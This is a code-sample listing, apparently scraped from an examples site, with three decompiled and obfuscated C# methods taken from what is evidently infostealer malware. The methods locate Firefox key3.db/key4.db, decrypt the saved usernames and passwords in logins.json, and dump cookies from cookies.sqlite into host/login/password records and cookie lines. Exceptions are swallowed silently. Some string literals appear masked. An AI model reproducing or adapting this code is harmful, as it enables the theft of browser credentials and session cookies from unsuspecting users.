Ejemplo n.º 1
0
 // Token: 0x06000171 RID: 369 RVA: 0x0000CEE8 File Offset: 0x0000B0E8
 public static void smethod_1(string string_3, string string_4, string string_5)
 {
     try
     {
         if (File.Exists(Path.Combine(string_3, "key3.db")))
         {
             Class18.smethod_7(string_3, Class18.smethod_9(Class18.smethod_4(Path.Combine(string_3, "key3.db"))), string_4, string_5);
         }
         Class18.smethod_7(string_3, Class18.smethod_8(Class18.smethod_4(Path.Combine(string_3, "key4.db"))), string_4, string_5);
     }
     catch (Exception)
     {
     }
 }
Ejemplo n.º 2
0
 // Token: 0x06000178 RID: 376 RVA: 0x0000D4B0 File Offset: 0x0000B6B0
 public static void smethod_7(string string_3, byte[] byte_1, string string_4, string string_5)
 {
     try
     {
         string path = Class18.smethod_4(Path.Combine(string_3, "logins.json"));
         if (File.Exists(path))
         {
             foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
             {
                 JsonValue jsonValue = (JsonValue)obj;
                 Class26.int_0++;
                 Gecko4 gecko  = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                 Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                 string text   = Regex.Replace(Gecko6.lTRjlt(byte_1, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string text2  = Regex.Replace(Gecko6.lTRjlt(byte_1, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string text3  = jsonValue["hostname"].ToString(true).Replace("\"", "").Replace("https://", "").Replace("http://", "").Replace("www.", "");
                 Class26.string_0 = string.Concat(new string[]
                 {
                     Class26.string_0,
                     Environment.NewLine,
                     "Host: ",
                     text3,
                     Environment.NewLine,
                     "Login: "******"Password: "******"Soft: ",
                     string_4,
                     Environment.NewLine
                 });
             }
         }
     }
     catch
     {
     }
 }
Ejemplo n.º 3
0
 // Token: 0x06000177 RID: 375 RVA: 0x0000D308 File Offset: 0x0000B508
 public static void smethod_6(string string_3, string string_4, string string_5)
 {
     try
     {
         string string_6 = Path.Combine(string_3, "cookies.sqlite");
         CNT    cnt      = new CNT(Class18.smethod_4(string_6));
         cnt.ReadTable("moz_cookies");
         for (int i = 0; i < cnt.RowLength; i++)
         {
             try
             {
                 Class18.list_0.Add(cnt.ParseValue(i, "host").Trim());
                 Class18.list_1.Add(string.Concat(new string[]
                 {
                     cnt.ParseValue(i, "host").Trim(),
                     "\t",
                     (cnt.ParseValue(i, "isSecure") == "1").ToString(),
                     "\t",
                     cnt.ParseValue(i, "path").Trim(),
                     "\t",
                     (cnt.ParseValue(i, "isSecure") == "1").ToString(),
                     "\t",
                     cnt.ParseValue(i, "expiry").Trim(),
                     "\t",
                     cnt.ParseValue(i, "name").Trim(),
                     "\t",
                     cnt.ParseValue(i, "value"),
                     Environment.NewLine
                 }));
                 Class20.int_0++;
             }
             catch
             {
             }
         }
     }
     catch (Exception)
     {
     }
 }